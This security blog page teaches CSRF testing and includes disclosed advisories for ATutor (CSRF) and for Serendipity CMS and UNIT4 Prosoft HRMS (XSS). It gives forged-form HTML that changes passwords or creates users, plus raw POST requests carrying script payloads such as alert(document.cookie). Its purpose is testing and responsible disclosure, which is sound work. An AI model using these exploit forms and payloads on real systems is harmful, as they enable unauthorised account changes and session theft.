Cross-Site Request Forgery (CSRF) Testing

What is CSRF?

Cross-Site Request Forgery (CSRF) is a type of vulnerability that happens when an application accepts a form request without validating its source. Or in another words, it is an attack that tricks a user into performing unwanted actions on a web application where they’re authenticated. The attacker crafts a malicious request and deceives the victim into sending it, leveraging their active session with the target application.

This is also sometimes known as session riding (note that the word riding is used instead of hijacking). It is a different vulnerability from SQL injection.

Why is CSRF Testing Important?

CSRF vulnerabilities can lead to unauthorized actions being performed on behalf of authenticated users, potentially resulting in:

  1. Unauthorized fund transfers
  2. Password changes
  3. Data theft or manipulation
  4. Account takeovers

Testing for CSRF is crucial to prevent these scenarios and protect your users.

How to test for Cross-Site Request Forgery (CSRF)

1. Identify Sensitive Actions

Start by mapping out all the sensitive actions in your application that could be targets for CSRF attacks. This step is crucial as it forms the foundation of your testing strategy.

  • Form submissions: Look for forms that change user data, system settings, or perform critical actions. Examples include:
    • User profile updates
    • Password changes
    • Email preference settings
    • Fund transfer forms in banking applications
  • State-changing GET requests: While less common, some applications use GET requests for state changes. Look for URLs that perform actions like:
    • Logging out users: /logout
    • Deleting items: /delete-item?id=123
    • Changing settings: /toggle-feature?feature=dark-mode&state=on
  • AJAX calls that modify data: Examine your JavaScript code for AJAX requests that send data to the server. These might include:
    • Adding items to a shopping cart
    • Submitting comments or reviews
    • Updating user preferences in real-time
  • API endpoints: Don’t forget about API endpoints that might be called from mobile apps or single-page applications (SPAs). These are often targets for CSRF attacks.

Create a comprehensive list of these sensitive actions, noting their URLs, HTTP methods, and any parameters they accept.

2. Analyze Request Patterns

For each sensitive action identified, perform a detailed analysis of the associated HTTP requests. This will help you understand how the application handles these actions and what protections might already be in place.

  • Method: Note whether the action uses GET, POST, PUT, DELETE, or another HTTP method. Remember that GET requests are generally more vulnerable to CSRF as they can be easily triggered by image tags or iframes.
  • Headers: Pay attention to custom headers, especially those that might be used for CSRF protection or authentication. Common ones to look for include:
    • X-CSRF-Token
    • X-Requested-With
    • Origin
    • Referer
  • Parameters: Document all parameters sent with the request, both in the URL (for GET requests) and in the body (for POST requests). Note any that look like they might be CSRF tokens.
  • Cookies: Examine the cookies sent with the request. Look for session cookies and any that might be related to CSRF protection.

Example analysis for a password change request:

POST /api/change-password HTTP/1.1

Host: example.com

Content-Type: application/json

X-CSRF-Token: a1b2c3d4e5f6g7h8i9j0

Cookie: session=abc123; csrftoken=a1b2c3d4e5f6g7h8i9j0

{
"newPassword": "securePass123!",
"confirmPassword": "securePass123!"
}

In this example, we see:

  • Method: POST
  • Custom header: X-CSRF-Token
  • Two cookies: session and csrftoken
  • JSON payload with two parameters

3. Check for CSRF Protections

Now that you’ve analyzed the requests, look for existing CSRF protections. Understanding what’s already in place helps you identify potential weaknesses and areas for improvement.

  • CSRF tokens:
    • Check if unique tokens are included in forms or as custom headers in AJAX requests.
    • Verify if these tokens are validated server-side.
    • Test if the same token can be reused for multiple requests or if it’s rotated.
  • SameSite cookie attributes:
    • Inspect the Set-Cookie headers in responses.
    • Look for SameSite=Strict or SameSite=Lax attributes.
    • Note that SameSite=None requires the Secure flag and doesn’t provide CSRF protection.
  • Custom headers required for state-changing requests:
    • Some applications require custom headers that are difficult to set in cross-site requests, like X-Requested-With: XMLHttpRequest.
      Test if these headers are actually enforced server-side.
  • Referer and Origin validation:
    • Check if the server validates the Referer or Origin headers to ensure requests come from the same site.
  • Double Submit Cookie:
    • Look for implementations where a token is sent both as a cookie and as a request parameter or header.

4. Craft Test Cases

Based on your analysis, create test cases that attempt to perform the sensitive actions without proper CSRF protections. Your goal is to simulate how an attacker might craft a malicious request.

  • Remove CSRF tokens:
    • Try submitting forms or sending AJAX requests with the CSRF token removed.
    • Test with an invalid or expired CSRF token.
    • Attempt to use a valid CSRF token from a different user’s session.
  • Send requests from a different origin:
    • Create a simple HTML page on a different domain that submits a form to your target application.
    • Use JavaScript to send AJAX requests from a different origin.
    • Test with and without the and headers.
  • Modify or omit custom headers:
    • If the application requires custom headers, try sending requests without these headers.
    • Attempt to spoof these headers in cross-origin requests.

Example test case for a password change form:

<html>
<body>
<form action="https://example.com/api/change-password" method="POST">
<input type="hidden" name="newPassword" value="hacked123">
<input type="hidden" name="confirmPassword" value="hacked123">
<input type="submit" value="Win a prize!">
</form>
</body>
</html>

5. Automate Testing

While manual testing is valuable, automating your CSRF tests can help you cover more ground and integrate security testing into your development pipeline.

  • OWASP ZAP’s CSRF Scanner (Free):
    • Enable the CSRF Scanner in OWASP ZAP.
    • Use ZAP’s spider to crawl your application and automatically test for CSRF.
    • Examine the alerts generated for potential CSRF issues.
  • Burp Suite’s CSRF Scanner (Pro):
    • Use the built-in CSRF Scanner in Burp Suite Professional.
    • Configure it to test all forms and state-changing requests.
    • Review the results and validate any potential CSRF vulnerabilities it finds.
  • Custom scripts:
    • Develop Python scripts using libraries like requests to automate CSRF tests.
    • Integrate these scripts into your CI/CD pipeline for continuous CSRF testing.

Example Python script for testing CSRF:

import requests

def test_csrf(url, data, headers=None):
    session = requests.Session()
    
    # Perform a GET request to obtain any necessary cookies
    session.get(url)
    
    # Attempt the action without CSRF token
    response = session.post(url, data=data, headers=headers)
    
    if response.status_code == 200 and "success" in response.text.lower():
        print(f"Potential CSRF vulnerability found at {url}")
    else:
        print(f"No CSRF vulnerability detected at {url}")

# Example usage
test_csrf(
    "https://example.com/api/change-password",
    data={"newPassword": "test123", "confirmPassword": "test123"},
    headers={"Content-Type": "application/x-www-form-urlencoded"}
)

6. Manual Testing

Complement your automated tests with thorough manual testing. This allows you to catch nuanced vulnerabilities that automated tools might miss.

  • Create simple HTML pages:
    • Develop a set of HTML pages that attempt to exploit potential CSRF vulnerabilities.
    • Host these pages on a different domain to simulate a real attack scenario.
  • Test with different browsers:
    • Some CSRF protections might work differently across browsers.
    • Test your pages in Chrome, Firefox, Safari, and Edge to ensure comprehensive coverage.
  • Verify the impact:
    • For each successful CSRF attempt, document the exact impact.
    • Determine what actions were performed and what data was changed.
    • Assess the severity of the vulnerability based on the potential real-world impact.
  • Test login CSRF:
    • Create test cases for login forms to check for login CSRF vulnerabilities.
    • Attempt to force a victim to log in as an attacker-controlled account.
  • Check multi-step processes:
    • Some applications use multi-step forms for sensitive actions.
    • Test each step of these processes for CSRF vulnerabilities.

CSRF on ATutor LMS (CVE-2015-1583)

Here are screenshots of an actual CSRF vulnerability that I discovered in ATutor CMS.

You could see that there are only two users.

This is the exploit which the attacker have to trick the legitimate administrator to execute.

The button is just a form request without any random tokens.

Here is an example of the exploit.

<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php" method="POST">
    <input name="form_password_hidden" type="hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" />
    <input name="login" type="hidden" value="csrfuser99" />
    <input name="email" type="hidden" value="[email protected]" />
    <input name="private_email" type="hidden" value="1" />
    <input name="email2" type="hidden" value="[email protected]" />
    <input name="first_name" type="hidden" value="csrfuser99" />
    <input name="last_name" type="hidden" value="csrfuser99" />
    <input type="hidden" value="3" />
    <input type="hidden" value="Save" />
    <input type="submit" value="Submit request" />
</form>

Upon clicking the “Submit request” button, you could see that a new user is created. This means that we have successfully exploited the vulnerability.

Want to find out more on using sqlmap (open source tool for finding SQL injection)? You can read more at my sqlmap tutorial.

[CVE-2015-2289] Serendipity CMS – XSS Vulnerability in Version 2.0

Serendipity CMS – XSS Vulnerability in Version 2.0


Product Information:

Software: Serendipity CMS

Tested Version: 2.0, released 23.1.2015

Vulnerability Type: Cross-Site Scripting (CWE-79)

Download link: http://www.s9y.org/12.html

Description: Serendipity is aimed to make everything possible you ever wish for. It is technically up to par to other well-known weblog scripts like Moveable Type or WordPress. (copied from http://www.s9y.org/3.html)


Vulnerability description:

XSS is found in category creation page. When an authenticated user of Serendipity CMS is creating a new category, the following POST request is sent to the server:

POST /serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new
HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 394
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36
Content-Type: application/x-www-form-urlencoded Referer: http://127.0.0.1/serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: serendipity[old_session]=q8jagkbn03i41p1hea1vp3mqi7; serendipity[author_token]=906de2dd7201b75f1f710f59128e1ffb5cec6cf4; serendipity[userDefLang]=en; serendipity[toggle_extended]=true; serendipity[addmedia_directory]=undefined; serendipity[sortorder_perpage]=; serendipity[sortorder_order]=; serendipity[sortorder_ordermode]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_f857b4bc988a333c379a2d9bd477dd65=q8jagkbn03i41p1hea1vp3mqi7

serendipity%5Btoken%5D=b95339bd8490707038719715c6d58e63&serendipity%5Bcat%5D%5Bname%5D=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&serendipity%5Bcat%5D%5Bdescription%5D=&serendipity%5Bcat%5D%5Bparent_cat%5D=0&serendipity%5Bcat%5D%5Bhide_sub%5D=0&serendipity%5Bcat%5D%5Bread_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bwrite_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bicon%5D=&SAVE=Create

The parameter serendipity[cat][name] is vulnerable to XSS. The payload is executed when an authenticated user navigates to the “New Entry” page.


Impact:

An attacker is able to leverage on the XSS vulnerability to exploit the content creator of Serendipity CMS. An example would be to inject malicious JavaScript code in order to use attacking tools like BeEF.


Solution: Update to the latest version, which is 2.0.1, see http://blog.s9y.org/archives/263-Serendipity-2.0.1-released.html


Timeline:

Vulnerability found: 12.3.2015

Vendor informed: 12.3.2015

Response by vendor: 12.3.2015

Fix by vendor 12.3.2015

Public Advisory: 13.3.2015


Reference: https://github.com/s9y/Serendipity/commit/a30886d3bb9d8eeb6698948864c77caaa982435d


This advisory is also available on securityfocus.

[CVE-2015-2082] UNIT4 Prosoft HRMS XSS Vulnerability

# Vulnerability type: Cross-site Scripting

# Vendor: http://www.unit4.com/

# Product: UNIT4 Prosoft HRMS

# Product site: http://www.unit4apac.com/products/prosofthrms

# Affected version: 8.14.230.47

# Fixed version: 8.14.330.43

# Credit: Jerold Hoong & Edric Teo

# PROOF OF CONCEPT

The login page of UNIT4’s Prosoft HRMS is vulnerable to cross-site scripting.

POST /Login.aspx?ReturnUrl=%2fCommon%2fBroadcastMessageDisplay.aspx%3fUrlReferrerCode%3d&UrlReferrerCode HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=teuq5d45e53ecg45mzptyv55
Host: 127.0.0.1
Content-Length: 1276
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-SG
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMjAyNzEwNDEyO
Q9kFgQCAQ9kFgICAQ8WAh4EVGV4dAVfPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBo
cmVmPSJBcHBfVGhlbWVzL1BTRGVmYXVsdC9JbWFnZXMvRmF2SWNvbi5pY28iIHR5cGU
9ImltYWdlL3gtaWNvbiIgLz5kAgMPZBYKAgEPZBYCAgMPDxYCHgdWaXNpYmxlaGRkAg
MPZBYCZg8PFgIfAAU0VGhlIGNvZGUgY29udGFpbnMgaW52YWxpZCBjaGFyYWN0ZXJzL
iAoVVNSLlVzZXJDb2RlKWRkAgUPDxYCHwAFBlY4IFVBVGRkAgcPZBYWAgEPZBYEAgEP
DxYCHwAFC0NsaWVudCBDb2RlZGQCBQ8PFgIeDEVycm9yTWVzc2FnZQUIUmVxdWlyZWR
kZAIDD2QWBAIBDw8WAh8ABQZTZXJ2ZXJkZAIDDxBkZBYAZAIFD2QWBAIBDw8WAh8ABQ
hEYXRhYmFzZWRkAgUPDxYCHwIFCFJlcXVpcmVkZGQCBw9kFgQCAQ8PFgIfAAULTERBU
CBEb21haW5kZAIDDxBkZBYAZAIJDw8WAh8ABQdVc2VyIElEZGQCCw8PZBYCHgxhdXRv
Y29tcGxldGUFA29mZmQCDQ8PFgIfAgUIUmVxdWlyZWRkZAIPDw8WAh8ABQhQYXNzd29
yZGRkAhMPDxYCHwFoZBYEAgEPDxYCHwAFCExhbmd1YWdlZGQCAw8QZGQWAGQCFQ8PFg
IfAAUVRm9yZ290IHlvdXIgcGFzc3dvcmQ%2FZGQCFw8PFgYfAAUHU2lnbiBJbh4EXyF
TQgKAAh4FV2lkdGgbAAAAAADAUkABAAAAZGQCCw9kFgJmD2QWBAIDDxYCHwAFQkNvcH
lyaWdodCDCqSAyMDExIFVOSVQ0IEFzaWEgUGFjaWZpYyBQdGUgTHRkLiBBbGwgUmlna
HRzIFJlc2VydmVkLmQCBQ8WAh8ABRNWZXJzaW9uIDguMTQuMzMwLjQzZGSwnj3yxmGD
Z9jR0wKr5HZldmVj4w%3D%3D&__EVENTVALIDATION=%2FwEWBQLctJOuBALT8dy8BQ
K1qbSRCwLWxaLXDALD94uUBwZOBjPAY1F7DZ4L5a8tZ4BpX9CW&txtUserID=%22%3E
%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&txtPassword=&btnSignIn=S
ign+In

# TIMELINE

28/10/2014: Vulnerability found

04/11/2014: Vendor informed

04/11/2014: Vendor responded

30/11/2014: Vendor fixed the issue

14/02/2015: Public disclosure


This advisory is also available on securityfocusCVE Mitre and Jerold Hoong’s blog.